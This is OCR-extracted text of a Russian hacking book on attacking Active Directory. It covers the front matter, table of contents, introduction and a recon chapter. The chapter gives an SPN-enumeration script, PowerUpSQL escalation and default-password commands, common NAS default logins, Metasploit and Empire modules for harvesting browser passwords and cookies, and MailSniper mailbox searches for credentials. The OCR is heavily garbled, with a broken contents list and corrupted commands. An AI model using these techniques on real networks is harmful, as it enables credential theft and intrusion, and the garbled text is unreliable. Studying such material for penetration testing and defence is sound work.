/
Автор: Hacker R.
Теги: качество систем и программ компьютерные технологии программирование программное обеспечение компьютерные науки хаккиг издательство бхв петербург
ISBN: 978-5-9775-6783-1
Год: 2021
Текст
Ralf Hacker Active Directory глазами Санкт-Петербург « БХВ-Петербург» 2021
УДК 004.056.53 ББК 32.973.26-018.2 Р20 Р20 RalfHacker Active Directory глазами хакера. - СПб.: БХВ-Петербург, 2021. - 176 с.: ил. - (Глазами хакера) ISBN 978-5-9775-6783-1 Рассмотрена архитекrура системы безопасности Active Directory. Приведены сведения об используемом хакерами инструментарии. Последовательно и подроб но описываются все этапы атаки на домен глазами злоумышленника: поиск уязви мостей и разведка в атакуемой сети, повышение привилегий, боковое реремеще ние, поиск и сбор критически важных данных. Описаны способы противодействия обнаружению атаки с применением различных инструментальных средств. Рас сматриваются методы сохранения доступа к скомпрометированной сети как с помощью сторонних инструментов, так и с использованием групповых политик домена. Для пентестеров, специалистов по информационной безопасности и системных администраторов ББК УДК 004.056.53 32.973.26-01 8..2 Группа подготовки издания: Руководитель проекта ПавелШалин Зав.редакцией Людмила Гауль Компьютерная верстка Ольги Сергиенко Дизайн серии Марины Дамбиевой Оформление обложки Карины Соловьевой Подписано в печать 01.06.21. Печать офсетная. Усл. печ. л. 14,19. Тираж 1000 экз. Заказ № 1329. "БХВ-Петербург", 191036, Санкт-Петербург, Гончарная ул" 20. Формат 70х1001/1е. Отпечатано с готового оригинал-макета; ООО "Принт-М", 142300, М.О" г. Чехов, ул. Полиграфистов, д. ISBN 978-5-9775-6783-1 1 © RalfHacker, 2021 ©Оформление. ООО "БХВ-Петербург", ООО "БХВ", 2021
Оглавление Введение ........... . . . ............... ...................... ................................ ... ... . . ... ... ... ..... ...... 7 . . . Для кого эта книга? Что вы найдете в этой книге? Условные обозначения . . . . .................................. ............................ .......... . . . . . . . . "............................................. 7 . ........................................ ................................................................ . ................................... ................................................................................ 8 8 1 . Ра;1ведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий . ... . ... .... . . ........... ........ ............ ... .,. ...................... 9 Сканирование SPN .. . 9 Глава . . . . . . . . . . ......................................... . .......... .................................................................... Сбор данных Общие ресурсы Базы данных ................................................................................................................................... . .... . . ............................................................................................................... . ............................................. ............................................................................. Network Attached Storage . . ............................................. ............................................. ........... 11 11 12 13 Пользовательские дан.ные при наличии привилегий 13 Учетные данные пользователей . .. "....... " .... 13 Локальные данные "".."................................................................................."......"..13 Пользовательские файлы . :....................................14 Microsoft Exchange и Outlook при наличии привилегий . "..".....""..".."""........"."..".."15 "....."."...."....""."""""".....""......"...""".."" ......"............".."".16 Учетные данные."" . . Учетные записи администраторов домена 16 Скрытая учетная запись администратора . . 17 Группы Active Directory .. � "".. " .. ".19 Информация из локальных групп Active Directory "...."".".."""""""""..........."..""......."...20 .......................................................... ....................·....... ................. . ................... ... ..... .................................................. .. .. ..... ..... ........ .......................................................................... ........ ....... ........................................................... . . ................... . ........""..." .. "" ............... " ... """"". ".................. ...... Local Administrator Password Solution .... """"""...""............."..""."""".."""".".. "..... "............. 21 AppLocker ......................................:................................................................................................ 23 Azure Active Directory . ................... Глава . . .......................................................... ........................... ......................... ... Сценарий синхронизации паролей Сценарий сШIХронизации каталога 24 "....."......................"........""........................".....24 . . .............................. ..................................................... ........ 2. Актуальные методы повышения привилегий .26 """""""""""""""""""" 29 Пароли из SYSVOL и GPP ...."..............."""....."..""""".."""""."".".................................... 29 Учетные данные в SYSVOL " ... "...... 29 Настройки групповой п�литики . 30 ."." ..................................................................................... . .........................................................................................
Оглавление 4 DNSAdmins . ........................................................................................ ............................................ 32 Делегирование Kerberos . : ..................33 Неограниченное делегирование . 35 Ограниченное делегирование .. . . 37 Ограниченное делегирование на основе ресурсов 39 Небезопасные права доступа к объекту групповой политики . .40 Небезопасные права доступа ACL .-...............................................................42 Доменные трасты . . . 44 .............................................................. .............................. .................... ...................................................................... ...................... . .................. ................... ............................... .............................................................. ..................................... ............ ............................... ..... ...................................................... ............................ ................................. DCShadow Exchange . . . . 47 .......................................... .......... .............. ..................... ............................................ . . ...................................................................................... ...................... ........................... Sysadmin SQL Server .......... 49 "...........................................................................".............................51 · Глава 3. Боковое перемещение в Active Directory .................................................. 53 Техника Lateral Movement через ссылки Microsoft SQL Server" 53 Введение в ссылки " ...............".".......................................................".."........."............. 53 Схема эксплуатации изнутри сети . . . "...............................".......... "".. 55 Схема эксплуатации извне . . . """""..." .... "................................."""."56 Как автоматизировать обнаружение пути эксплуатации"" . . ""...........".... 57 ............................................... ....... ...... ....... ............... ....... .............. ................ ... . . ................... ..... Pass-the-hash ............................................ System Center Configuration Manager :................................................................... ".................60 ................. Windows Server Update Services . . ......... "..""".......................... """................."."" ......... 65 "." .... "..............................."......."""..................."........... 70 о wsus .........".. "......... "...............................................".............................".""...""... ""..... 10 Атака на WSUS Распыление паролей Автоматизация Lateral Movement . . ........................................ ......... ...... . . ."""" ....."."".................".:...: .........".". 73 . . .................................. ............. ............. .................... ................................. GoFetch . .74 ."...""".......".............".......................................... 75 . . . ............................................... .... ...... ................ ...................................................... ANGRYPUPPY DeathStar Заключение ................... . . 76 . ""..."........................................................................76 ...................... ............ .. . .. . ... ....... ..... . ................................................ ............................................................ . . . . .................................. ............................ ... ................. ............................................... Глава 4. Уклоняемся от обнаружения при атаке на домен...... . 76 77 ................... .... ... 79 . . Уклонение от сканеров памяти . "".".........................79 Уклонение от EDR . .. . . "".......................... 81 СJ<рываем работу mimikatz . . 81 Уклоняемся от правила «родительский-дочерний процесс>> в макросах офисных документов "....................... 83 1. Уклонение от прямого анализа потомков . .""..".. "....................... ".... "..........."83 2. Уклонение за счет запланированных задач : ................... 84 3. Работа с реестром . . 84 4. Соз.Щlние файлов . , ..................................................... 84 5. Загрузка данных 85 6. Встраивание в макрос .. """..............." .............85 ..... ............................................................... ............................. .. . ......................... ................ ............. .......................... ....................................................................... . .................................................................................... . .... ........................................ ...................... ........ ..................................................................... ............................. ................... ........................................................................................................ ........................................... . ............. OPSEC ............................................................................................................................................. 85 Уклонение от обнаружения АТА ....".."..."......""""""...".."..".........................:................""."86 Разведка . . """ ".................."................. 87 " ...................................................... ......................... ..... Brute force . . .""""".............. "."""........"....."..."..": ................................ 88 ....................... ...... ... Overpass-The-Hash Golden Ticket ....................... "." .."."........................ ".................................................... 88 ...................................................... Что не обнаруживается с помощью АТА . ".................................."......................"...... 89 . "..............."."...."........................ 90 ..................... .
5 Оглавление Глава 5. Защита от детекта в Active Directory ......................................................... 91 . . 91 Обход журналирования PowerShell ScriptBlock Уклонение от регистрации Sysmon . 92 Уклонение от Honeytoken ......................................................................................." ..................... 94 Обход AppLocker . . 97 Перечисление правил AppLocker ......: .................................................................................. 97 Обход правила хеша файлов . 98 Обход правила пути 99 99 Обход правила издателя : . :.................................. 100 Техника LOLBas 1_ . , ............................................... 100 Uбход PowerShell AMSI ............................... ................................... ...... .................... ......................................................................... ........... ......................................................... ....................................... .............. ....................... ........................... .............................................. ............................................................................................................... ······························ ········································································· ....... .............................................................. ...................................................... ....... Глава 6. Поиск критически важных данных при атаке на домен ..................... 105 . Работа с ntds.dit . Получение данных аутентификации без взаимодействия с LSASS ... ............. ........................ .................................................................................. LLMNR/NBT-NS Poisoning Kerberoasting . AS-REP Roasting DCSync ........................................ . 105 109 111 : ................................ 113 116 118 . .. 120 122 . . 123 .............................................. ..................... ................... .................. . . .............. ............................................... ......... ...................... . .... . ................... ............................. .. . . . ........... .................................. .................. .......................................................................................................................................... Получение открытого пароля с помощью DCSync . Хранилище паролей Windows . . ПО, использующее DPAPI . 1. В контексте целевого пользователя . .. 2. В контексте администратора с активной сессией целевого пользователя 3. В контексте администратора без сессии целевого пользователя . 4. Административный доступ к контроллеру домена Диспетчер учетных данных . ............ ........................... ... . .................... .................... .......................................... .................................... ...................... ............................................ ........................... .. ................................. ......................... . ................. .................. ... ............................. ....................................................... . . ......................................................................................... ...... ... ... 124 125 127 127 130 Глава ·7. Сохранение доступа при атаке на домен ................................................ 133 Kerberos Golden Tickets . . 133 Ticketer . :............................................................................................................... 136 Mimikatz . . , ............... 137 Meterpreter . . . 138 � : ............................................................ 139 Kerberos Silver Ticket Ticketer . . . 141 Mimikirtz . .. .. 142 SIDHistory .. . . .. . 142 . , ................................................ 145 Golden Ticket + SIDHistory . AdminSDHolder . 147 DCShadow . . . 149 ....................................................... . ..................................................... .............. ... ................................................................................................. ............. ··········· ········································· ........................... ..................... ....... ............ , ...................................................... ........... ........................................................................... ............... ....·...................... ........... .............. . ........................ ......................................................................... .................................................. . ...... ......................... . ................................... ........ . .......... ............................................ ........................ ................................................................................................... ............. .............................................. ............ ...... ....................... .............................. Глава 8. Используем групповые политики, чтобы сохранить доступ к домену ......................... . ... .......................... . ................................................................. 153 Объекты групповой политикu . .. 153 SeEnaЫeDelegationPrivilege . . 157 Security Support Provider . . 158 Списки доступа и дескриmоры безопасности . 160 Directory Services Restore Mode . 163 Skeleton Кеу : .......................... 166 ........... ............................................................................... . ...... ........................................... ........................................ ................... ..................................... ........................................ ............................... ............................................................. ............ ...................................................... ........................................... .................................................................................... .................... Предметный указатель .............................................................................................. 169
Введение Локальные сети, работающие под управлением Active Directory, получили широкое распространение в последние несколько десятилетий. Использование сетевой ин фраструктуры с контроллером домена чрезвычайно удобно, поскольку позволяет системным администраторам гибко настраивать привилегии, разрешения, ограни чения, а также ПQ.Литики для всех пользователей сети, централизовать управление полномочиями, общими ресурсами, резервным копированием. Но популярность технологии неизбежно влечет за собой интерес к ней со стороны хакеров, стремя щихся проникнуть в сеть с различными целями - включая использование ском прометированных ресурсов и хищение критической информации. В этой книге рассматривается архитектура сетей с Active Directory глазами практи кующего пентестера, хорошо осведомленного о слабых местах и актуальных уяз вимостях подобных систем. Рассматриваются практические приемы взлома Active Directory, закрепления в сети, бокового перемещения, поиска и сбора конфиденци альных данных, а также обхода средств обнаружения и защиты. Рассматриваются популярные инструменты хакеров, средства и приложения, по:}воляющие облегчить или автоматизировать процесс взлома сетей с Active Directory и сохранения досту па к ним в последующем. Читатель изучит структуру механизмов защиты Active Directiry, освоит приемы повышения безопасности сетей и контроллера домена. Для кого эта книга? Эта книга будет незаменима для системных администраторов, пентестеров, специа листов в области защиты данных и инженеров по информационной безопасности. Это не уче_бник по взлому, а профессиональный взгляд на проблему безопасности Active Directiry с точки зрения практикующего исследователя Red Team, специали зирующегося на изучении защищенности сетей. ВНИМАНИЕ/ Вся информация в этой книге предоставлена исключительно в ознакомительных це лях. Автор и редак ция не несут ответственности за любой возможн ый вред, причинен ный с использован ием сведен ий из этой книги.
в Введение Книга предназначена для тех, кто желает лучше обезопасить свой сетевой периметр от вторжений, получить исчерпывающее представление о возможных векторах атак, а также найти эффективные способы противодействия им. Материалы книги помогут пентестерам освоить самый современный инструментарий для тестирова ния защищенности сетевых периметров и в подробностях изучить методологию этого тестирования. Что вы найдете в этой кни ге? 1 посвящена методам разведки в Active Directory, способам изучения сетевой инфраструктуры и поиска уязвимых мест для сбора учетных данных. L1 Глава LI В главе 2 перечислены актуальные методы повышения привилегий в Active Directory. LI Глава 3 рассказывает о боковом перемещении в Active Directory. LI Главы 4 и 5 повествуют о способах уклонения от обнаружения в скомпромети рованных сетях Active Directory и методах обхода средств детектирования атак. LI Глава 6 посвящена способам поиска критически важных данных на скомпроме тированных ресурсах при атаке на домен. LI В главах 7 и 8 читатель найдет информацию о путях сохранения доступа при атаке на домен с использованием как различных сторонних инструментов, так и встроенных групповых политик. Условные обозначения В книге принят ряд условных обозначений, призванных облегчить читателю изуче ние материала. Моноширинный шрифт cornmand идентифицирует вводимые пользо вателем команды, имен� файлов, каталогов или управляющие символы. Курсив ис пользуется для выделения понятий и терминов, а полужирный шрифт вьщеляет ключевые слова, адреса URL и элементы интерфейса. Некоторые полезные сведе ния, не относящиеся напрямую к рассматриваемому в тексте вопросу, но способ ные представлять определенный интерес для читателя, вынесены в примечания.
ГЛАВА 1 Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий Представьте, что кто-то проводит атаку на корпоративную сеть Windows. Вначале у злоумышленника либо мало привилегий в домене, либо их вовсе нет. Поэтому искать учетные записи и службы он будет без повышенных привилегий, т. е. не от имени ащшнистратора домена или локального администратора. О том, как произ водится разведка в среде Active Directory, мы и поговорим. Рассмотренные в данной главе примеры применимы для следующих версий Windows: 7, 8, 1 0, Server 2008, Server 20 1 2 и Server 20 1 6; другие мы не проверяли. Также для работы примерvв в системе должен быть установлен PowerShell с ука занными модулями. Сканирование SPN Когда нужно повысить привилегии, злоумышленники обычно используют учетные записи служб, поскольку у таких учеток больше прав, но нет �трогой политики смены пароля через заданный промежуток времени. То есть если скомпрометиро вать их, то потом можно долго оставаться незамеченным. Service Principal Names (SPN) - идентификаторы служб, запущенных на доменной машине. Не зная их, вы не сможете искать службы; которые используют проверку подлинности KerЬeros. SРN-строка имеет такой формат: SPN=11serviceclass11 /11hostname [ : port] 11 [ / 11 servicename 11] L] serviceclass - строка, которая идентифицирует класс службы, например ldap - идентификатор для службы каталогов; L] нostname - строка, где указывается полное доменное имя системы, а иногда и порт;
10 Глава 1 - строка, которая представляет собой уникальное имя (DN), GUID объекта или полностью определенное доменное имя (FQDN) службы· . О servicename SPN уникальный в пределах леса. Когда компьютер добавляют в домен; у его учет ной записи автоматически указывается host SPN, что позволяет службам на этой машине запускаться из-под локальных учетных записей, таких как Local System и Network Service. Сканирование SPN - это первое, что обычно делает злоумышленник или пенте стер при поиске служб в среде Active Directory. Основное преимущество этого ме тода по сравнению со сканированием сетевых портов в том, что не требуется взаи модействие с каждым узлом сети для проверки служебных портов. Сканирование SPN позволяет обнаружить службы с помощью запросов LDAP к контроллеру домена. Так как запросы SPN - нормальное поведение проверки подлинности Kerberos, этот способ сканирования обнаружить очень сложно (даже почти нере ально), в отличие от сканирования портов. Выполнить сканирование SPN можно с помощью скрипта на PowerShell (рис. 1 . 1 ): https://github.com/PyroTek3/PowerShell-AD-Recon/ЬloЬ/master/Discover PSMSSQLServers. Рис. 1.1. Результат работы скрипта для серверов Microsoft SQL
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows 11 Наиболее интересные службы: L1 SQL (MSSQLSvc/adsmsSQLAPOl.ads.org: 1 433); L] Exchange (exchangeМDB/adsmsEXCASO 1 .ads.org); L1 RDP (TERМSERV/adsmsEXCASOl .adsecuri�.org); L1 WSMan / WinRМ / PS Remoting (WSMAN/adsmsEXCASO 1 .ads.org); L] Hyper-V (Microsoft Virtual Console Service/adsmsНVOl .ady.org); L] VMware VCenter (STS/adsmsVCOl.ads.org). Хочу поделиться с вами и еще одним интересным скриптом, который покажет все SPN для всех пользователей и всех компьютеров (рис. 1 .2). $search = New-Obj ect DirectoryServices . DirectorySearcher ( [ADSI ] " " ) $search . filter = " ( servicePrincipalName=* ) " $results = $search . Findall ( ) foreach ( $ result in $result s ) { $userEntry = $result . GetDirectoryEntry ( ) Write-host "Object Name = " $userEntry . name -bac kgroundcolor "yellow" -foregroundcolor "Ыасk" Write-host " DN Write-host "Obj ect Cat. " " $userEntry . dist inguishedName $userEntry. objectCategory Write-host "servicePrincipalNames" $i=l foreach ( $ SPN in $userEntry . servicePrincipalName ) { Write-host "SPN ( " $i " ) " $SPN $i+=l } Write-host " " Сбор данн ых Общие ресурсы В среде Active Directory часто используются сетевые папки и файловые серверы. Эти команды отобразят список общих ресурсов на локальном хаете, список сете вых компьютеров и список шар на удаленном компьютере: > net share > net view > net view COMPUTER NАМЕ /all Но что же делать, если политика безопасности запрещает использовать сетевые команды? В этом случае нас выручит wmic. Список общих ресурсов на локальном хаете и список общих ресурсов на удаленном компьютере можно посмотреть с по мощью следующих команд:
Глава 1 12 > wmic share get /forrnat : l ist > wmic /node : COMPUTER_NAМE share get Полезный инструмент для поиска данных - PowerView (https://github.com/ . Он автоматиче ски обнаруживает сетевые ресурсы. и файловые серверы с помощью команд Find PowerShellMafia/PowerSploit/ЫoЬ/master/Recon/PowerView.psl ) DomainShare ИGet-DomainFileServer. Кстати, PowerView встроен в фреймворк PowerShell Empire и представлен двумя модулями: (https://github.com/ EmpireProject/Empire) (J situational_awareness /network/powerview/share_ finder; (J situational_awareness /network/powerview/get_ fileserver. Базы данных В среде Active Directory, как правило, несколько серверов баз данных. PowerUpSQL отличный инстр)тмент для обнаружения и перечисления серверов Microsoft SQL и атак на них. Найти все локальные экземпляры SQL можно командой: > Get-SQLinstanceLocal -Verbose Чтобы найти все экземпляры SQL в сети или домене, используй команды: > Get-SQLinstanceDomain -Verbose > Get-SQLinstanceBroadcast -Verbose > Get-SQLinstanceScanUDP �verbose После поиска собираем информацию об экземплярах SQL: Локальных: > Get-SQLinstanceLocal 1 Get-SQLServerinfo И удаленных: > Get-SQLServerinfo -Instance "COMPUTER NАМЕ" Когда мы нашли все экземпляры SQL и собрали информацию о них, мы можем: (J получить список экземпляров SQL, в которые разрешен вход текущему пользо вателю домена: > Get-SQLinstanceDomain -Verbose 1 Get-SQLConnectionTestThreaded -Verbose -Threads 1 0 (J попытаться получить права администратора для экземпляра SQL: > Invoke-SQLEscalatePriv -Verbose - I nstance " COMPUTER_NAМE " (J перечислить экземпляры SQL по всему домену с использованием паролей по умолчанию: > Get-SQLinstanceDomain -Verbose Get-SQLServerLoginDefaultPw -Verbose (J сдампить информацию о SQL Server и базе данных в файлы CSV или ХМL: > I nvoke-SQLDumpinfo -Verbose -Instance " COMPUTER NАМЕ"
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows О 13 запустить функции аудита для сервера SQL: > Invoke-SQLAudit -Verbose - Instance "COMPUTER NАМЕ" Network Attac hed Storage Ne�ork Attached Storage (NAS) - сервер для хранения данных на файловом уров не. Поскольку там сложены файлы, нередко это и есть цель злоумышленника. NAS не нужна полноценная операционка, поэтому на них часто ставят FreeNAS или NAS4Free на базе FreeBSD. Большинство NAS можно администрировать через веб или SSH. В таком случае следует перебрать дефолтные связки логин - пароль. Вот пятерка самых распространенных: О admin:admin; О admin:password; О root:nasadmin; О nasadmin:nasadmin; О admin:"no pass". Пользовательские данные при наличии привилегий Учетные данные пользователей Для охоты на пользователей отлично подходит BloodHound (https://github.com/ инструмент для активного поиска каталогов. BloodHoundAD/ВloodHound) - Определить, где конкретный пользователь или группа пользователей вошли в сис тему, можно с помощью команд PowerView и модуля PowerShell Empire: > Find-DomainUserLocation -Userldentity USER_NAМE > Find-DomainUserLocation -UserGroupldentity GROUP_NAМE situational awarenes s /network/powe rview/user_hunter _ Локальные данные После компрометации учетных данных пользователей появляется много возможно стей: запись на рабочий стол, получение картинки с веб-камеры, сброс паролей, установка кейлоггеров. Большая часть этих возможностей автоматизирована в ин струментах Metasploit Framework, PowerShell Empire и Cobalt Strike. Многие пользователи позволяют браузерам сохранять свои пароли. И часто мы ис пользуем одни и те же пароли для разных сервисов, так что найденные в браузере пароли нам еще, скорее всего, пригодятся. Вот модули Metasploit, которые помогают в этом: О post /windows / ga ther /enum chrome _ О post/multi/gather/firefox_creds
Глава 1 14 L] post/ firefox/gather/cookies L] post/firefox/gather/passwords L] post/windows/gather/forensics /browser_history Модули PowerShell Empire: L] collection/ChromeDшnp L] collection/FoxDшnp Вытащить пароли можно и вручную. Для этого сохраните профиль браузера, им портируйте его на вирrуальную машину, откройте браузер и посмотрите пароли. Файлы профилей Firefox лежат в C : \Users \TARGET\AppData \Roarning\Mozilla\ Firefox\ Profiles, а профилей Google Chrome - в C : \Users \TARGET\AppData\Local\Google\Chrome\ u ser Data \Default. Чтобы узнать данные удаленного досrупа, можно использовать модуль Metasploit post /windows /gather/enшn_putty_ saved_ sess ions или модули Empire collection/netripper и credentials/sessiongopher. Пользовательские срайлы Часто цель атакующего - это пользовательские файлы. Для их поиска есть очень удобный скриm на PowerShell - WМimplant (https://github.com/FortyNorthSecurity/ WMimplant). Он позволяет использовать фильтры (рис. 1 .2). Например, чтобы найти файл с именем wmimplant, выполним команды: > $ fi lefilter = " Filenarne = ' wmimplant ' AND Drive= ' C : ' " > Get-WМIObject -Class CIM_Datafile -filter $filefilter Рис. 1.2. Поиск файла wmimplant на диске С: с использованием WMlmplant
Разведка в Active Directory. Получаем пользовательские данные в сетях Windows 15 Также можно настроить фильтр по расширению файла (рис. 1.3). > $fi lefilter = "Extensios = ' ps l ' AND Drive= ' C : '" > Get-WМIObject -Class CIM Datafile -filter $ filefi lter Рис. 1.3. Поиск файлов *.ps.1 на диске С: с использованием WMlmplant Для поиска файлов на удаленной машине указывайте для Get-wмroьject параметр -ComputerNarne. Microsoft Exchange и Outloo k ... при наличии привилегии Если у злоумышленника есть учетные данные пользователей, то почтовые ящики, считай, тоже скомпрометированы. Если вы выступаете на атакующей стороне, от крывайте панель Outlook и делайте запросы, по которым могут найтись полезные данные. Например, логин, пароль, password, pass, credentials, vpn, ssh, root, confident ial. Этот процесс можно автоматизировать при помощи инструмента MailSniper (https://github.com/dafthack/МailSniper). Для автоматического обнаружения целе вого сервера Exchange и поиска в почтовом ящике user@exarnple . сот используйте та кую команду: > Invoke-Sel fSearch -OutputCsv local-results . csv -Mailbox user@ example . com Если ящик известен, то такую: > Invoke-Sel fSearch -Remote -ExchHos tnarne outloo k . office365 . com -OutputCsv local-result s . csv -Ma ilbox user@ exarnple . com Если у вас уже есть права администратора Exchange, можно искать по всем почто вым ящика!\\ :
Глава 1 16 > Invoke-GlobalMailSearch - ImpersonationAccount TARGET USER -ExchНostname ExchOl -OutputCsv global-results . csv Учетные данные Учетные записи администраторов домена Существует два эффективных метода искать учетные записи с повышенными пра вами в Active Directory. Первый - стандартный метод перечисления групп, ко торый идентифицирует всех членов обычных групп администраторов Active Directory. В большинстве. организаций есть пользовательские группы адмшшстра торов - схемы именования могуr быть разными, но если искать по слову admin, то, скорее всего, не промахнетесь: > get-adgroup -fi lter (GroupCategory -eq ' Security ' -AND Name - l i ke " admin" } Dist inguishedName : CN=Server Admin s , OU=AD Management, DC=lab, DC=adsecurity, DC=org GroupCategory : Security GroupScope : Global Name : Server Admins Obj ectClass : group ObjectGUID : 387 7 c3 1 1 -932 1 - 4 1 c0-a 6b5-c0d88684b335 SamAccountName : ServerAdmins S I D : S-l-5-2 1 - 1581 655573-3923512380-69 6647894-2628 Второй метод - искать учетки, у которых атрибут AdminCount равен единице: > get-aduser -filter (AdminCount -eq 1 } -Properties Name, AdminCount, ServicePrincipa lName , MemЬerOf AdminCount 1 DistinguishedName CN=ADSAdministrator, CN=Users , DC=lab, DC=ads , DC=org EnaЬled True MemЬerOf (CN=Admini strators, CN=Builtin, DC=lab, DC=ads , DC=org, CN=Schema Admins , CN=Users , DC=lab, DC=ads , DC=org, CN=Group Policy Creator Owners , CN=Users , DC=lab, DC=ads , DC=org, CN=Enterprise Admins , CN=Users , DC=lab, DC=ads;DC=org ... } Name ADSAdministrator Obj_ e ctClass user ObjectGUID 72ac7731- 0a76-4e5a-8e5d-b4ded9a304b5 SamAccountName ADSAdministratoi SID S - l -5-21- 1581 65557 3-39235 1 2 380-696647894-500 Surname UserPrincipalName . . Имейте в виду, что в числе прочего вы получите учетки, у которых прав админи стратора нет. Дело в том, что это значение не сбрасывается автоматически после удаления учетной записи из групп администраторов.
Разведка в Active Directory. Получаем пользовательские да нные в сетях Windows 17 Скрытая учетная за пись администратора Скрытая учетная запись администратора - это учетная запись домена, которая предоставляет администратору доступ к контроллеру домена, серверу обмена или серверу баз данных. Но эта запись не принадлежит к привиЛегированным группам Active Directory, т. е. администраторам домена. Разрешения для таких учеток на значаются напрямую с помощью списков контроля доступа (ACL) для объектов Active Directory. Часто это учетные записи служб. Они обычно имеют доступ к нескольким систе мам в среде. При этом такие учетки не получают столько же внимания и таких же строгих политик безопасности, как администраторы домена. В результате они ста новятся главной целью злоумышленников при «двиЖении вбок» или повышении привилегий. Для поиска скрытых учетных записей администратора используйте тулзу BloodHound . (https://github.com/ВloodHoundAD/ВloodHQund). Полную инструк цию по установке этого инструмента можно найти в вики проекта (https:// github.com/ВloodHoundAD/ВloodHound/wiki/Getting-started). После настройки базы данных и входа в веб-интерфейс BloodHound можно начи нать собирать данные Active Directory с помощью BloodHound PowerShell (рис. 1.4). Вот как запустить команды для поиска доменов в лесу и сохранить CSV в указанную папку: > . . \SharpHound . psl > Invoke-BloodНound -SearchForest -CSVFolder C : \Users\PuЬlic 1\ Pre-Built Analytics Queries flind Shottмt P.11h•\O�Ad� ,.:"4 loэgod in .;.т... " - • � � LOQ/Di$11:� ' UwJ • PtAlfic: � lf\.� 1.-----�· ..... ,..., ... eo..wofltJ ��.;:б F!nd:T�10U..•wt�Мoflt�"' f�11!$t� 10CмiA.dto1•�1 �;tSщ.uюм FtnOTcp\OUsien"With�L�AdmmR;gt>t• Fmdtop10�..,.,,...... - ,#...к -8 . ...... ! " ф Nмм -': �::�_�:щ��� ����-� _ ==- ···-��-:s._ __ , ____ " __ 4'со� 41.LOJ:.МD!it(Q �"'"* ·�t,;<����·1«.11.,�.UI? Рис. 1.4. ... [A11f4et('., ... J �; """" ) + Результат работы BloodHound PowerShell После загрузки файла у вас есть большой выбор дальнейших действий. Можно просмотреть всех администраторов домена, глянуть список пользователей с права ми локальных администраторов, определить машины с правами администраторов и многое другое (рис. 1.5).
18 Глава Node lnfo Database lnfo -Flnd ё!I Oomaln Adm1ns Flnd Shortest Paths to OomaJn Admins r Find logged in admins Flnd Тор 10 Usets wtth Мost SessJons Flnd Тор 10 Computers with Most Sesslons Flnd Тор 10 Users wtth Мost local Admin Rights Find Тор 10 Computers with Most Admins Userз with Foreign Domaln Group Мembership Groups with Foreign Domain Group Membership Мар Domaln Truзts Рис. 1 .5. Запросы BloodHound 1 Ouerles 1 Таким образом, при просмотре «карты доверительных отношений» и «10 пользова телей с большинством прав локальных администраторов» мы сможем определить учетные записи, которые имеют доступ к большинству систем, а также узнать, существуют ли двусторонние отношения доверия между внешними доменами, ко торые могли бы расширить круг доступных ресурсов. Другой способ найти скрытые учетные записи администратора:-- поиск контрол лера домена. 1 . Ищем группу Domain Controllers. 2. Выбираем «Прямые участники» в разделе «Участники группы»: там отобра жены все узлы системы контроллера домена в этой группе. 3 . Ткнув на один из узлов системы в разделе «Местные администраторы», выби раем «Производные локальные администраторы» (рис. 1.6). Как видите, есть две учетные записи, которые имеют локальный доступ админист ратора к контроллеру домена. Они не входят в группу «Администраторы домена». --- ...... .. ... _ 7 f Groцp Memь....hipt -----�-- lacal Admin Rigllts __ ._._ ....... ....,.. ...... _ .......... ... ... OUtЬound oЬject comrol ------Рис. 1.6. BloodHound - локальные администраторы
Разведка в Active Directory. Получаем пользователь ские данные в сетях Windows 19 Поздравляю, мы только что обнаружили две скрытые учетные записи администра тора! Групп ы Active Directory Группы Active Directory бывают двух типов. 1. используются для списков рассьmки электронной почты и не могут служить для контроля доступа к ресурсам, поэтому они нам неинтересны. Группы распространенш� - 2. Группы безопас�ости могут применяться в списки контроля доступа. - для контроля доступа и добавлены Независимо от того, к какому типу относится группа, она задается битом в свойстве groupType. Группы безопасности могут иметь одну из трех областей действия. Область дейст вия группы влияет на то, какие типы групповых объектов могут быть добавлены в нее и в какие другие группы группа может быть вложена. 1. могут быть вложены в локальные группы домена, универ сальные группы и другие глобальные группы в одном домене. Глобш�ьные группы 2. Универсш�ьные группы могут бьпь вложены в локальные группы домена и дру гие универсальные группы в любом домене. 3. Локш�ьнШl группа домена не может бьпь вложена в глобальную или универсаль- ную группу. Найти все группы какого-то типа можно с помощью PowerView (рис. 1 .7). l:J Get-DomainGroup -GroupScope DomainLocal - l:J Get-DomainGroup -GroupScope NotDomainLocal l:J Get-DomainGroup -GroupScope Global - l:J Get-:-DomainGroup -GroupScope 'NotGlobal найти локальные группы; - найти нелокальные группы; найти глобальные группь1; - найти неглобальнЪ1е группы; l:J Get-Doma inGroup -GroupScope Universal - найти универсальные группы; l:J Get-Doma inGroup -GroupScope NotUniversal - найти неуниверсальные группы; l:J Get-pomainGroup -GroupProperty Security- найти группы безопасности; PS С:\! ools> Get -Uomдi11Gгoщ) -Ргорегt j es sr1mrкcoш1t11<1me. gгощJ lype --GгoщJScope U11 iverstl] sr;mlteCO!ll) tname g1·oщJtype Scl1ema fl<im iпs Enteгpгise Пdmins [nteгpгise Read-oп]y Uomain Contгolleгs Seгveгflclm i ns Рис. UNIVERSШ. SCOPE. UNTVERSШ SCOPE. UNIVERSAL=SCOPE. UNIVERSAL_SCOPE. 1.7. Пример поиска всех универсальных rpynn в текущем домене SECURITY SECURITY SECURIIY SECURIIY
